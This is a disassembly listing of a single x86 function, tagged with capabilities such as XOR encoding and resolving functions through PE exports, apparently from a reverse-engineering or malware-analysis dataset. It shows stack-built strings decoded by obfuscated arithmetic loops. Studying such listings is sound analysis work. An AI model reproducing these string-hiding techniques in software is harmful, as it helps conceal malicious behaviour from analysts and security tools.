Function at 0x409cb0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x110
cmp dword [ecx + 0x20], 0
je 0x40a0f8
mov edi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406460
add esp, 4
mov edx, dword [edi + 0x10]
mov eax, dword [edi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xc], eax
movzx eax, byte [edi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
mov dword [esp + 0x10], edx
lea eax, [edx + 0x400]
push eax
call fcn.00408640
add esp, 4
mov dword [esp + 0x74], 0xb5a5b6a4
mov byte [esp + 0x78], 0x50
mov word [esp + 0x79], 0
mov byte [esp + 0x7b], 0
mov esi, 0x8d
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + esi - 0x19]
lea ebx, [esi - 0x1267c400]
mov ecx, esi
and ecx, ebx
or ecx, edx
and ebx, edx
sub ecx, ebx
add cl, 0x3f
mov byte [esp + esi - 0x19], cl
inc esi
cmp esi, 0x95
jne 0x409d40
lea esi, [esp + 0x74]
mov ecx, edi
push 0x44df38
push esi
mov dword [esp + 0xc], eax
push eax
call fcn.00409500
mov dword [esp + 0x74], 0x51aaa4bc
mov byte [esp + 0x78], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x74]
mov ecx, 0xdd906f72
sub ecx, eax
or ecx, edx
mov ebp, 0x72
sub ebp, eax
and ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
xor edx, 0xc2
and ecx, 0x3d
add ecx, ecx
sub ecx, edx
inc cl
mov byte [esp + eax + 0x74], cl
lea ecx, [eax + eax]
and ecx, 2
mov edx, ecx
and edx, eax
xor ecx, eax
xor ecx, 1
lea eax, [ecx + edx*2]
cmp eax, 5
jb 0x409d90
lea eax, [esp + 2]
mov dword [esp + 8], edi
mov ecx, edi
push eax
push esi
push dword [esp + 0xc]
call fcn.00409500
mov ebp, dword [str.hRjzG3__KASTA]
mov dword [esp + 0x74], 0x4faad0d4
mov word [esp + 0x78], 0
mov byte [esp + 0x7a], 0
mov ecx, 0x12
mov edx, 0xed
movzx eax, byte [esp + ecx + 0x62]
mov edi, edx
or edi, eax
not eax
or eax, ecx
and eax, edi
mov bl, 0xa5
sub bl, al
mov byte [esp + ecx + 0x62], bl
inc ecx
dec edx
cmp ecx, 0x19
jne 0x409e10
mov edi, dword [esp + 8]
mov ecx, edi
push ebp
push esi
mov ebp, dword [esp + 0xc]
push ebp
call fcn.00409500
mov dword [esp + 0x74], 0xdd282011
mov dword [esp + 0x78], 0x28252cd9
mov dword [esp + 0x7c], 0x2a2bd429
mov byte [esp + 0x80], 0xb0
mov dword [esp + 0x81], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0x1f
xor cl, byte [esp + eax + 0x74]
add cl, 0x65
mov byte [esp + eax + 0x74], cl
inc eax
cmp eax, 0x11
jne 0x409e70
mov dword [esp + 0x14], 0xe97e4e43
mov byte [esp + 0x18], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xd7
xor cl, byte [esp + eax + 0x14]
add cl, 0xcd
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 5
jne 0x409ea0
lea eax, [esp + 0x14]
mov ecx, edi
push esi
push eax
push ebp
call fcn.00409500
mov dword [esp + 0x74], 0xeee6e8ee
mov byte [esp + 0x78], 0xac
mov dword [esp + 0x79], 0
mov byte [esp + 0x7d], 0
xor eax, eax
mov ecx, eax
add cl, 0x1c
xor cl, byte [esp + eax + 0x74]
add cl, 0x74
mov byte [esp + eax + 0x74], cl
inc eax
cmp eax, 0xa
jne 0x409ee0
mov ecx, edi
push dword [esp + 0x10]
push dword [esp + 0x10]
push esi
push ebp
call fcn.004097f0
mov dword [esp + 0x14], 0x930591d3
mov dword [esp + 0x18], 0x9f029d0a
mov dword [esp + 0x1c], 0x9b0c9935
mov dword [esp + 0x20], 0x87d38518
mov dword [esp + 0x24], 0x831b813c
mov dword [esp + 0x28], 0x8f238d1c
mov dword [esp + 0x2c], 0x8bea89d2
mov dword [esp + 0x30], 0xf76bf561
mov dword [esp + 0x34], 0xf36ef164
mov dword [esp + 0x38], 0xff6efd55
mov dword [esp + 0x3c], 0xfb68f959
mov dword [esp + 0x40], 0xe7b1e578
mov dword [esp + 0x44], 0xe375e14e
mov dword [esp + 0x48], 0xef7bed7e
mov dword [esp + 0x4c], 0xeb46e9bd
mov dword [esp + 0x50], 0xd74ad575
mov dword [esp + 0x54], 0xd389d171
mov dword [esp + 0x58], 0xdf7cddbc
mov dword [esp + 0x5c], 0xdb47d94f
mov dword [esp + 0x60], 0xc76ac552
mov dword [esp + 0x64], 0xc350c161
mov dword [esp + 0x68], 0xcf8bcd55
mov word [esp + 0x6c], 0xc9c8
mov byte [esp + 0x70], 0
mov word [esp + 0x6e], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa4
xor cl, byte [esp + eax + 0x14]
add cl, 0xcc
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x5d
jne 0x409fd0
movzx eax, word [esp + 0x14]
test ax, ax
je 0x40a011
lea esi, [esp + 0x74]
lea ecx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a000
mov word [esi], 0
movzx ecx, byte [edi + 0x60]
test cl, cl
je 0x40a041
lea eax, [edi + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [esi], cx
add esi, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x40a030
mov dword [esi], 0xa000d
mov word [esi + 4], 0
mov eax, dword [edi + 0x80]
mov dword [esp + 0x14], 0x1fbf19eb
mov dword [esp + 0x18], 0xe34b1dac
mov dword [esp + 0x1c], 0xe1e0
mov byte [esp + 0x20], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx + 0x14]
mov edi, ecx
and edi, 0x14
mov ebx, edx
xor ebx, 0x1496b5fa
add ebx, edi
xor ebx, esi
add ebx, 0x7c9d7259
mov esi, ebx
and esi, 0x45
xor ebx, 0xc5
lea ebx, [ebx + esi*2]
mov byte [esp + edx + 0x14], bl
inc edx
add ecx, 2
cmp edx, 0xd
jne 0x40a080
lea ecx, [esp + 0x74]
push 0x493e0
push eax
push ebp
push 0
push 0
push ecx
lea eax, [esp + 0x2c]
push eax
call fcn.0040c5a0
add esp, 0x1c
mov ebx, eax
push ebp
call fcn.00408650
add esp, 4
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x80]
add dword [ecx + 4], eax
mov dword [ecx + 0x80], 0
jmp 0x40a0fa
mov bl, 1
mov eax, ebx
add esp, 0x110
pop esi
pop edi
pop ebx
pop ebp
ret